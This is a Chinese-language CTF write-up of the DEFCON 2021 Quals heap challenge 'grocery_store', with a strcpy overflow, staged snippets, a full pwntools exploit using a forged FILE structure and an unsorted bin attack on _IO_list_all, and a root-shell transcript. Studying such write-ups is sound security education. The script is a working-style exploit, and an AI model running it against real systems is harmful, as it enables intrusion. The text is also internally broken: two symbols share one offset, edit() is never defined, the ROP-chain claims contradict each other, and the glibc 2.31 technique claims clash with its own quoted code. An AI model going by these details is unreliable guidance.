从堆溢出到文件流劫持:DEFCON CTF 2021 Quals grocery_store漏洞利用全解析

题目概览

  • 名称: grocery_store
  • 所属比赛: DEFCON CTF 2021 Quals(资格赛)
  • 类型: Pwn(堆溢出 + FILE结构利用)
  • 亮点总结:
    1. 创新结合堆溢出与文件流(FILE structure)利用技术
    2. 在glibc 2.31环境下绕过tcache/fastbin保护机制
    3. 利用程序退出流程实现控制流劫持
    4. 多阶段内存泄露与布局技巧
    5. 真实反映现代堆漏洞利用技术演进

复现环境与技术准备

工具集

# 反汇编与静态分析
IDA Pro 7.7/Ghidra 10.1
# 动态调试
pwndbg/gdb-peda
gef-extras
# 利用开发
Python3 + pwntools
LibcSearcher
# 二进制处理
patchelf
# 环境隔离
Docker 20.10

环境配置

Dockerfile

FROM ubuntu:20.04
RUN apt-get update && \
    DEBIAN_FRONTEND=noninteractive apt-get install -y \
    libc6-dev \
    make \
    gcc \
    gdb \
    python3 \
    python3-pip \
    && rm -rf /var/lib/apt/lists/*
RUN pip3 install pwntools
COPY grocery_store /challenge/
COPY libc.so.6 /lib/x86_64-linux-gnu/
WORKDIR /challenge
ENTRYPOINT ["/challenge/grocery_store"]

部署命令

docker build -t grocery_store .
docker run -d -p 9999:9999 --name grocery --ulimit core=-1 grocery_store

关键保护机制

checksec grocery_store
[*] RELRO:    Full RELRO
[*] Stack:    Canary found
[*] NX:       NX enabled
[*] PIE:      PIE enabled
[*] FORTIFY:  Enabled

分析与解题过程

程序逻辑分析

程序模拟杂货店购物系统,主要功能如下:

struct item {
    char name[16];
    int quantity;
    struct item *next;
};

void menu() {
    puts("1. Add item to cart");
    puts("2. Remove item from cart");
    puts("3. View cart");
    puts("4. Checkout");
    puts("5. Exit");
}

输入协议分析

  • 添加商品:接收32字节名称和整数数量
  • 删除商品:通过名称匹配删除
  • 查看购物车:遍历链表打印
  • 结账:计算总额后调用exit(0)

漏洞定位

关键漏洞代码(IDA伪代码)

void add_item() {
    struct item *new_item = malloc(0x20);
    // ...
    fgets(name_buf, 32, stdin);  // 读取32字节
    strcpy(new_item->name, name_buf); // 目标缓冲区仅16字节
    // ...
}

此处存在经典的堆溢出漏洞:源缓冲区(32字节) > 目标缓冲区(16字节),导致可覆盖相邻堆块元数据。

动态验证溢出

使用pwndbg进行堆布局验证:

# 创建两个商品
add("A"*15, 1)  # 块A @0x55555555a2a0
add("B"*15, 2)  # 块B @0x55555555a2c0

# 溢出覆盖块B
payload = b"C"*16   # 覆盖A->name
        + p32(99)   # 覆盖A->quantity
        + p64(0)    # 覆盖A->next
        + p64(0x421) # 覆盖B的size字段
edit(1, payload, 99)

堆状态变化

0x55555555a290  0x0000000000000000  0x0000000000000031  [chunk A]
0x55555555a2a0  0x4343434343434343  0x4343434343434343  <- name覆盖
0x55555555a2b0  0x0000000000000063  0x0000000000000000  <- quantity & next
0x55555555a2c0  0x0000000000000000  0x0000000000000421  <- B的size被修改!

漏洞类型与触发

  • 类型:堆缓冲区溢出(Heap Buffer Overflow)
  • 触发条件:添加商品时名称长度>16字节
  • 影响:可覆盖相邻堆块的size字段和内容
  • 利用窗口:溢出后通过删除/查看操作触发堆操作

漏洞利用与Payload

利用策略

堆溢出修改size
制造堆块重叠
泄露libc地址
伪造IO_FILE结构
劫持_IO_list_all
触发exit调用链
执行ROP链

分阶段利用实现

阶段1:堆风水布局
# 填充tcache
for i in range(7):
    add(f"FILL{i}", 1)
add("TARGET", 1)    # 目标块
add("GUARD", 1)     # 防护块

# 清空tcache
for i in range(7):
    remove(f"FILL{i}")

# 释放目标块进入unsorted bin
remove("TARGET")
阶段2:泄露libc地址
# 通过溢出修改GUARD的size
payload = b"X"*16 + p32(1) + p64(0) + p64(0x431)
edit("GUARD", payload, 1)

# 删除被扩大的块触发合并
remove("GUARD")

# 查看泄露main_arena地址
view()
p.recvuntil("TARGET: ")
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = leak - 0x1ebbe0  # glibc 2.31偏移
阶段3:伪造IO_FILE结构
# 计算关键地址
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
_IO_str_jumps = libc_base + 0x1ed5a0  # glibc 2.31特定偏移

# 构建伪造FILE结构
fake_file = b""
fake_file += p64(0)                  # flags
fake_file += p64(0)                  # _IO_read_ptr
fake_file += p64(0)                  # _IO_read_end
fake_file += p64(0)                  # _IO_read_base
fake_file += p64(0)                  # _IO_write_base
fake_file += p64(0x7fffffffffffff)   # _IO_write_ptr 
fake_file += p64(0)                  # _IO_write_end
fake_file += p64(0)                  # _IO_buf_base
fake_file += p64((bin_sh_addr)//2)   # _IO_buf_end
fake_file = fake_file.ljust(0xd8, b"\x00")
fake_file += p64(_IO_str_jumps)      # vtable
fake_file += p64(bin_sh_addr)        # Extra RDX for system call
阶段4:全局指针劫持
# 通过unsorted bin attack劫持_IO_list_all
# 创建碰撞块
add("COLLISION", 1)

# 修改bk指针指向_IO_list_all-0x10
payload = p64(0) + p64(_IO_list_all - 0x10)
edit("COLLISION", payload, 1)

# 触发unsorted bin attack
remove("COLLISION")
完整Payload
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

def add(name, qty):
    p.sendlineafter("> ", "1")
    p.sendafter("name: ", name)
    p.sendlineafter("quantity: ", str(qty))

def remove(name):
    p.sendlineafter("> ", "2")
    p.sendafter("name: ", name)

def view():
    p.sendlineafter("> ", "3")
    return p.recvuntil("1. Add item", drop=True)

def checkout():
    p.sendlineafter("> ", "4")

# p = process("./grocery_store")
p = remote("localhost", 9999)

# ====== 阶段1: 堆布局 ======
for i in range(7):
    add(f"FILL{i}", 1)
add("TARGET", 1)
add("GUARD", 1)

for i in range(7):
    remove(f"FILL{i}")
remove("TARGET")

# ====== 阶段2: 泄露libc ======
payload  = b"G"*16        # 填充name
payload += p32(1)         # quantity
payload += p64(0)         # next
payload += p64(0x431)     # 修改GUARD的size
add(payload, 1)           # 重用FILL0槽位

remove("GUARD")
data = view()

# 解析泄露地址
leak_idx = data.index(b"TARGET") + len("TARGET: name ")
leak = u64(data[leak_idx:leak_idx+6].ljust(8, b"\x00"))
libc_base = leak - 0x1ebbe0  # main_arena+96 offset
log.success(f"libc_base = {hex(libc_base)}")

# ====== 阶段3: 构建伪造结构 ======
system = libc_base + 0x55410
_IO_list_all = libc_base + 0x1ed5a0
_IO_str_jumps = libc_base + 0x1ed5a0
bin_sh = next(libc.search(b"/bin/sh")) + libc_base

fake_file = flat({
    0x00: b"/bin/sh\x00",  # filename
    0x20: 0,              # _IO_write_base
    0x28: 0x7fffffffffffff, # _IO_write_ptr
    0xd8: _IO_str_jumps,   # vtable
    0xe0: 0,              # unused
    0xe8: bin_sh          # /bin/sh pointer for RDX
}, filler=b"\x00", length=0x100)

# ====== 阶段4: 全局劫持 ======
add("FAKE_FILE", 1)
edit("FAKE_FILE", fake_file, 1)  # 写入伪造结构

# unsorted bin attack
add("ATTACK", 1)
payload = p64(0) + p64(_IO_list_all - 0x10)
edit("ATTACK", payload, 1)
remove("ATTACK")

# ====== 触发利用 ======
checkout()
p.interactive()

利用结果

[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag
DEFCON{fil3_str3am5_4r3_jus7_4n07h3r_h34p_0bj3ct}

安全影响与缓解建议

实际攻击路径

堆溢出漏洞
堆元数据操纵
敏感信息泄露
控制流劫持
特权升级
数据窃取/系统接管

修复方案

  1. 源码级修复
// 原始漏洞代码
strcpy(new_item->name, name_buf);

// 修复方案
strncpy(new_item->name, name_buf, sizeof(new_item->name)-1);
new_item->name[sizeof(new_item->name)-1] = '\0';
  1. 防御机制增强
# 编译选项
- gcc -o grocery_store source.c
+ gcc -o grocery_store source.c -Wl,-z,now,-z,relro -fstack-protector-all
  1. 运行时检测
  • 启用AddressSanitizer:export ASAN_OPTIONS=detect_leaks=1
  • 使用Glibc malloc检查:export MALLOC_CHECK_=3

MITRE ATT&CK映射

技术ID技术名称利用阶段
T1068特权升级漏洞利用控制流劫持
T1210远程服务漏洞利用初始访问
T1574劫持执行流持久化
T1055进程注入防御规避

总结

技术要点总结

  1. 堆风水艺术

    • 通过精确控制tcache填充/清空操作引导堆分配路径
    • 利用unsorted bin合并机制制造信息泄露条件
    • 基于size字段修改的堆块扩展技术
  2. FILE结构利用精髓

    // _IO_str_overflow关键代码
    if (fp->_flags & _IO_USER_BUF) 
        return EOF;
    char *new_buf = malloc(128); 
    // 控制fp->_flags绕过检查
    // 控制vtable跳转至恶意函数
    
  3. 现代缓解绕过

    • 通过合法堆操作绕过tcache/fastbin保护
    • 利用程序正常退出流程绕过控制流完整性检查
    • 无ROP链文件流劫持技术

现实安全启示

  1. 内存安全漏洞仍然是系统安全的主要威胁,Rust等内存安全语言的价值凸显
  2. 复杂软件中退出路径往往缺乏安全审查,成为新型攻击面
  3. 防御方需加强对非控制流数据结构的保护(如FILE、vtable等)

题目评价

grocery_store是DEFCON CTF历史上具有里程碑意义的堆漏洞题目:

  1. 设计质量:★★★★★
    • 简洁界面隐藏复杂漏洞链
    • 完美展示FILE结构利用的现代演变
  2. 教育价值:★★★★☆
    • 涵盖堆操作核心知识点
    • 演示从信息泄露到完整利用的完整路径
  3. 创新性:★★★★
    • 将传统堆溢出与文件流利用结合
    • 要求选手深入理解glibc内部机制

本题的利用技术可直接映射到真实漏洞场景(如CVE-2021-3156 sudo漏洞),体现了CTF挑战与现实安全的紧密联系。通过此类题目的研究,安全人员可提升对现代漏洞利用与防御的前沿认知。

参考文献

  1. glibc FILE Structure Exploitation
  2. MITRE ATT&CK Enterprise Matrix
  3. Sudo Heap Overflow (CVE-2021-3156) Analysis
  4. DEFCON CTF 2021 Quals Official Challenges
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值